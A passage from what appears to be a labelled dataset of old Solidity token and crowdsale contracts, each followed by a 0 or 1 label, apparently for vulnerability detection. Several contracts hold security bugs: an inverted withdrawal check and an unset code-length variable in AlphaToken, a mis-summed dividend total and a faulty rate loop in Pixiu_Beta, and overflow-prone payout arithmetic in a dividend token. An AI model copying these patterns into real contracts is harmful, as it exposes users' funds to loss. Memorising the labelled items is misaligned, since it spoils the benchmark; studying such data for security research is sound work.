proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
} | 1 | 4,364 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address wallet, IERC20 token) internal {
require(rate > 0);
require(wallet != address(0));
require(token != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _cap;
constructor (uint256 cap) internal {
require(cap > 0);
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function capReached() public view returns (bool) {
return weiRaised() >= _cap;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
super._preValidatePurchase(beneficiary, weiAmount);
require(weiRaised().add(weiAmount) <= _cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor (uint256 openingTime, uint256 closingTime) internal {
require(openingTime >= block.timestamp);
require(closingTime > openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
super._preValidatePurchase(beneficiary, weiAmount);
}
}
contract FthCrowdsale is CappedCrowdsale, TimedCrowdsale {
using SafeMath for uint256;
uint256 constant MIN_WEI_AMOUNT = 0.1 ether;
uint256 private _rewardPeriod;
uint256 private _unlockPeriod;
struct Contribution {
uint256 contributeTime;
uint256 buyTokenAmount;
uint256 rewardTokenAmount;
uint256 lastWithdrawTime;
uint256 withdrawPercent;
}
mapping(address => Contribution[]) private _contributions;
constructor (
uint256 rewardPeriod,
uint256 unlockPeriod,
uint256 cap,
uint256 openingTime,
uint256 closingTime,
uint256 rate,
address wallet,
IERC20 token
)
public
CappedCrowdsale(cap)
TimedCrowdsale(openingTime, closingTime)
Crowdsale(rate, wallet, token)
{
_rewardPeriod = rewardPeriod;
_unlockPeriod = unlockPeriod;
}
function contributionsOf(address beneficiary)
public
view
returns (
uint256[] memory contributeTimes,
uint256[] memory buyTokenAmounts,
uint256[] memory rewardTokenAmounts,
uint256[] memory lastWithdrawTimes,
uint256[] memory withdrawPercents
)
{
Contribution[] memory contributions = _contributions[beneficiary];
uint256 length = contributions.length;
contributeTimes = new uint256[](length);
buyTokenAmounts = new uint256[](length);
rewardTokenAmounts = new uint256[](length);
lastWithdrawTimes = new uint256[](length);
withdrawPercents = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
contributeTimes[i] = contributions[i].contributeTime;
buyTokenAmounts[i] = contributions[i].buyTokenAmount;
rewardTokenAmounts[i] = contributions[i].rewardTokenAmount;
lastWithdrawTimes[i] = contributions[i].lastWithdrawTime;
withdrawPercents[i] = contributions[i].withdrawPercent;
}
}
function withdrawTokens(address beneficiary) public {
require(isOver());
if (msg.sender == beneficiary && msg.sender == wallet()) {
_withdrawTokensToWallet();
} else {
_withdrawTokensTo(beneficiary);
}
}
function unlockBalanceOf(address beneficiary) public view returns (uint256) {
uint256 unlockBalance = 0;
Contribution[] memory contributions = _contributions[beneficiary];
for (uint256 i = 0; i < contributions.length; i++) {
uint256 unlockPercent = _unlockPercent(contributions[i]);
if (unlockPercent == 0) {
continue;
}
unlockBalance = unlockBalance.add(
contributions[i].buyTokenAmount.mul(unlockPercent).div(100)
).add(
contributions[i].rewardTokenAmount.mul(unlockPercent).div(100)
);
}
return unlockBalance;
}
function rewardTokenAmount(uint256 buyTokenAmount) public view returns (uint256) {
if (!isOpen()) {
return 0;
}
uint256 rewardTokenPercent = 0;
uint256 timePeriod = block.timestamp.sub(openingTime()).div(_rewardPeriod);
if (timePeriod < 1) {
rewardTokenPercent = 15;
} else if (timePeriod < 2) {
rewardTokenPercent = 10;
} else if (timePeriod < 3) {
rewardTokenPercent = 5;
} else {
return 0;
}
return buyTokenAmount.mul(rewardTokenPercent).div(100);
}
function rewardPeriod() public view returns (uint256) {
return _rewardPeriod;
}
function unlockPeriod() public view returns (uint256) {
return _unlockPeriod;
}
function isOver() public view returns (bool) {
return capReached() || hasClosed();
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(weiAmount >= MIN_WEI_AMOUNT);
super._preValidatePurchase(beneficiary, weiAmount);
}
function _processPurchase(address beneficiary, uint256 buyTokenAmount) internal {
Contribution[] storage contributions = _contributions[beneficiary];
require(contributions.length < 100);
contributions.push(Contribution({
contributeTime: block.timestamp,
buyTokenAmount: buyTokenAmount,
rewardTokenAmount: rewardTokenAmount(buyTokenAmount),
lastWithdrawTime: 0,
withdrawPercent: 0
}));
}
function _withdrawTokensToWallet() private {
uint256 balanceTokenAmount = token().balanceOf(address(this));
require(balanceTokenAmount > 0);
_deliverTokens(wallet(), balanceTokenAmount);
}
function _withdrawTokensTo(address beneficiary) private {
uint256 unlockBalance = unlockBalanceOf(beneficiary);
require(unlockBalance > 0);
Contribution[] storage contributions = _contributions[beneficiary];
for (uint256 i = 0; i < contributions.length; i++) {
uint256 unlockPercent = _unlockPercent(contributions[i]);
if (unlockPercent == 0) {
continue;
}
contributions[i].lastWithdrawTime = block.timestamp;
contributions[i].withdrawPercent = contributions[i].withdrawPercent.add(unlockPercent);
}
_deliverTokens(beneficiary, unlockBalance);
}
function _unlockPercent(Contribution memory contribution) private view returns (uint256) {
if (contribution.withdrawPercent >= 100) {
return 0;
}
uint256 baseTimestamp = contribution.contributeTime;
if (contribution.lastWithdrawTime > baseTimestamp) {
baseTimestamp = contribution.lastWithdrawTime;
}
uint256 period = block.timestamp.sub(baseTimestamp);
if (period < _unlockPeriod) {
return 0;
}
uint256 unlockPercent = period.div(_unlockPeriod).sub(1).mul(10);
if (contribution.withdrawPercent == 0) {
unlockPercent = unlockPercent.add(50);
} else {
unlockPercent = unlockPercent.add(10);
}
uint256 max = 100 - contribution.withdrawPercent;
if (unlockPercent > max) {
unlockPercent = max;
}
return unlockPercent;
}
} | 0 | 354 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 1,090 |
pragma solidity ^0.4.21;
interface ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) external;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AlphaToken is Ownable {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
mapping(address => uint) balances;
mapping(address => mapping (address => uint256)) allowed;
string _name;
string _symbol;
uint8 DECIMALS = 18;
uint256 _totalSupply;
uint256 _saledTotal = 0;
uint256 _amounToSale = 0;
uint _buyPrice = 4500;
uint256 _totalEther = 0;
function AlphaToken(
string tokenName,
string tokenSymbol
) public
{
_totalSupply = 4000000000 * 10 ** uint256(DECIMALS);
_amounToSale = _totalSupply;
_saledTotal = 0;
_name = tokenName;
_symbol = tokenSymbol;
owner = msg.sender;
}
function name() public constant returns (string) {
return _name;
}
function symbol() public constant returns (string) {
return _symbol;
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function buyPrice() public constant returns (uint256) {
return _buyPrice;
}
function decimals() public constant returns (uint8) {
return DECIMALS;
}
function _transfer(address _from, address _to, uint _value, bytes _data) internal {
uint codeLength;
require (_to != 0x0);
require(balances[_from]>=_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
if (codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint _value, bytes _data) public returns (bool ok) {
_transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint _value) public returns(bool ok) {
bytes memory empty;
_transfer(msg.sender, _to, _value, empty);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
require(balances[msg.sender]>=tokens);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyOwner public returns (bool success) {
require(_value <= allowed[_from][msg.sender]);
bytes memory empty;
_transfer(_from, _to, _value, empty);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
_buyPrice = newBuyPrice;
}
function buyCoin() payable public returns (bool ok) {
uint amount = ((msg.value * _buyPrice) * 10 ** uint256(DECIMALS))/1000000000000000000;
require ((_amounToSale - _saledTotal)>=amount);
balances[msg.sender] = balances[msg.sender].add(amount);
_saledTotal = _saledTotal.add(amount);
_totalEther += msg.value;
return true;
}
function dispatchTo(address target, uint256 amount) onlyOwner public returns (bool ok) {
require ((_amounToSale - _saledTotal)>=amount);
balances[target] = balances[target].add(amount);
_saledTotal = _saledTotal.add(amount);
return true;
}
function withdrawTo(address _target, uint256 _value) onlyOwner public returns (bool ok) {
require(_totalEther <= _value);
_totalEther -= _value;
_target.transfer(_value);
return true;
}
function () payable public {
}
} | 1 | 3,744 |
pragma solidity ^0.4.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint256 size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)) );
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Pixiu_Beta is StandardToken {
uint public decimals = 6;
bool public isPayable = true;
bool public isWithdrawable = true;
struct exchangeRate {
uint time1;
uint time2;
uint value;
}
struct Member {
bool isExists;
bool isDividend;
bool isWithdraw;
uint256 dividend;
uint256 withdraw;
}
exchangeRate[] public exchangeRateArray;
mapping (address => Member) public members;
address[] public adminArray;
address[] public memberArray;
address public deposit_address;
uint256 public INITIAL_SUPPLY = 21000000000000;
uint256 public tokenExchangeRateInWei = 300000000;
uint256 public total_tokenwei = 0;
uint256 public min_pay_wei = 0;
uint256 public total_devidend = 0;
uint256 public total_withdraw = 0;
uint256 public deposit_amount = 0;
uint256 public withdraw_amount = 0;
uint256 public dividend_amount = 0;
function Pixiu_Beta() {
totalSupply = INITIAL_SUPPLY;
adminArray.push(msg.sender);
admin_set_deposit(msg.sender);
}
modifier onlyDeposit() {
require(msg.sender == deposit_address);
_;
}
modifier onlyAdmin() {
bool ok = admin_check(msg.sender);
require(ok);
_;
}
modifier adminExists(address admin) {
bool ok = false;
if(admin != msg.sender){
ok = admin_check(admin);
}
require(ok);
_;
}
modifier adminDoesNotExist(address admin) {
bool ok = admin_check(admin);
require(!ok);
_;
}
function admin_check(address admin) private constant returns(bool){
bool ok = false;
for (uint i = 0; i < adminArray.length; i++) {
if (admin == adminArray[i]) {
ok = true;
break;
}
}
return ok;
}
modifier memberExists(address member) {
bool ok = false;
if (members[member].isExists == true) {
ok = true;
}
require(ok);
_;
}
modifier isMember() {
bool ok = false;
if (members[msg.sender].isExists == true) {
ok = true;
}
require(ok);
_;
}
function admin_deposit(uint xEth) onlyAdmin{
uint256 xwei = xEth * 10**18;
deposit_amount += xwei;
}
function admin_dividend(uint xEth) onlyAdmin{
uint256 xwei = xEth * 10**18;
require(xwei <= (deposit_amount-dividend_amount) );
dividend_amount += xwei;
uint256 len = memberArray.length;
uint i = 0;
address _member;
uint total_balance_dividened=0;
for( i = 0; i < len; i++){
_member = memberArray[i];
if(members[_member].isDividend){
total_balance_dividened = balances[_member];
}
}
uint256 perTokenWei = xwei / (total_balance_dividened / 10 ** 6);
for( i = 0; i < len; i++){
_member = memberArray[i];
if(members[_member].isDividend){
uint256 thisWei = (balances[_member] / 10 ** 6) * perTokenWei;
members[_member].dividend += thisWei;
total_devidend += thisWei;
}
}
}
function admin_set_exchange_rate(uint[] exchangeRates) onlyAdmin{
uint len = exchangeRates.length;
exchangeRateArray.length = 0;
for(uint i = 0; i < len; i += 3){
uint time1 = exchangeRates[i];
uint time2 = exchangeRates[i + 1];
uint value = exchangeRates[i + 2]*1000;
exchangeRateArray.push(exchangeRate(time1, time2, value));
}
}
function get_exchange_wei() constant returns(uint256){
uint len = exchangeRateArray.length;
uint nowTime = block.timestamp;
for(uint i = 0; i < len; i += 3){
exchangeRate memory rate = exchangeRateArray[i];
uint time1 = rate.time1;
uint time2 = rate.time2;
uint value = rate.value;
if (nowTime>= time1 && nowTime<=time2) {
tokenExchangeRateInWei = value;
return value;
}
}
return tokenExchangeRateInWei;
}
function admin_set_min_pay(uint256 _min_pay) onlyAdmin{
require(_min_pay >= 0);
min_pay_wei = _min_pay * 10 ** 18;
}
function get_admin_list() constant returns(address[] _adminArray){
_adminArray = adminArray;
}
function admin_add(address admin) onlyAdmin adminDoesNotExist(admin){
adminArray.push(admin);
}
function admin_del(address admin) onlyAdmin adminExists(admin){
for (uint i = 0; i < adminArray.length - 1; i++)
if (adminArray[i] == admin) {
adminArray[i] = adminArray[adminArray.length - 1];
break;
}
adminArray.length -= 1;
}
function admin_set_deposit(address addr) onlyAdmin{
deposit_address = addr;
}
function admin_active_payable() onlyAdmin{
isPayable = true;
}
function admin_inactive_payable() onlyAdmin{
isPayable = false;
}
function admin_active_withdrawable() onlyAdmin{
isWithdrawable = true;
}
function admin_inactive_withdrawable() onlyAdmin{
isWithdrawable = false;
}
function admin_active_dividend(address _member) onlyAdmin memberExists(_member){
members[_member].isDividend = true;
}
function admin_inactive_dividend(address _member) onlyAdmin memberExists(_member){
members[_member].isDividend = false;
}
function admin_active_withdraw(address _member) onlyAdmin memberExists(_member){
members[_member].isWithdraw = true;
}
function admin_inactive_withdraw(address _member) onlyAdmin memberExists(_member){
members[_member].isWithdraw = false;
}
function get_total_info() constant returns(uint256 _deposit_amount, uint256 _total_devidend, uint256 _total_remain, uint256 _total_withdraw){
_total_remain = total_devidend - total_withdraw;
_deposit_amount = deposit_amount;
_total_devidend = total_devidend;
_total_withdraw = total_withdraw;
}
function get_info(address _member) constant returns (uint256 _balance, uint256 _devidend, uint256 _remain, uint256 _withdraw){
_devidend = members[_member].dividend;
_withdraw = members[_member].withdraw;
_remain = _devidend - _withdraw;
_balance = balances[_member];
}
function withdraw() isMember {
uint256 _remain = members[msg.sender].dividend - members[msg.sender].withdraw;
require(_remain > 0);
require(isWithdrawable);
require(members[msg.sender].isWithdraw);
msg.sender.transfer(_remain);
members[msg.sender].withdraw += _remain;
total_withdraw += _remain;
}
function withdraw_admin(uint xEth) onlyDeposit{
uint256 _withdraw = xEth * 10**18;
require( msg.sender == deposit_address );
require(this.balance > _withdraw);
msg.sender.transfer(_withdraw);
withdraw_amount += _withdraw;
}
function withdraw_all_admin(address _deposit) onlyAdmin {
require( _deposit == deposit_address );
_deposit.transfer(this.balance);
total_devidend = 0;
total_withdraw = 0;
deposit_amount = 0;
withdraw_amount = 0;
dividend_amount = 0;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) {
require(_to != deposit_address);
require(isPayable);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if (members[_to].isExists != true) {
members[_to].isExists = true;
members[_to].isDividend = true;
members[_to].isWithdraw = true;
memberArray.push(_to);
}
Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
require(_to != deposit_address);
require(_from != deposit_address);
require(isPayable);
var _allowance = allowed[_from][msg.sender];
require(_allowance >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
if (members[_to].isExists != true) {
members[_to].isExists = true;
members[_to].isDividend = true;
members[_to].isWithdraw = true;
memberArray.push(_to);
}
Transfer(_from, _to, _value);
}
function () payable {
pay();
}
function pay() public payable returns (bool) {
require(msg.value > min_pay_wei);
require(isPayable);
if(msg.sender == deposit_address){
deposit_amount += msg.value;
}else{
uint256 exchangeWei = get_exchange_wei();
uint256 thisTokenWei = exchangeWei * msg.value / 10**18 ;
if (members[msg.sender].isExists != true) {
members[msg.sender].isExists = true;
members[msg.sender].isDividend = true;
members[msg.sender].isWithdraw = true;
memberArray.push(msg.sender);
}
balances[msg.sender] += thisTokenWei;
total_tokenwei += thisTokenWei;
}
return true;
}
function get_this_balance() constant returns(uint256){
return this.balance;
}
} | 0 | 1,586 |
pragma solidity ^0.4.25;
contract CryptoMinerTokenAlpha {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Crypto Miner Token Alpha";
string public symbol = "CMA";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 50;
uint8 constant internal transferFee_ = 0;
uint8 constant internal exitFee_ = 0;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
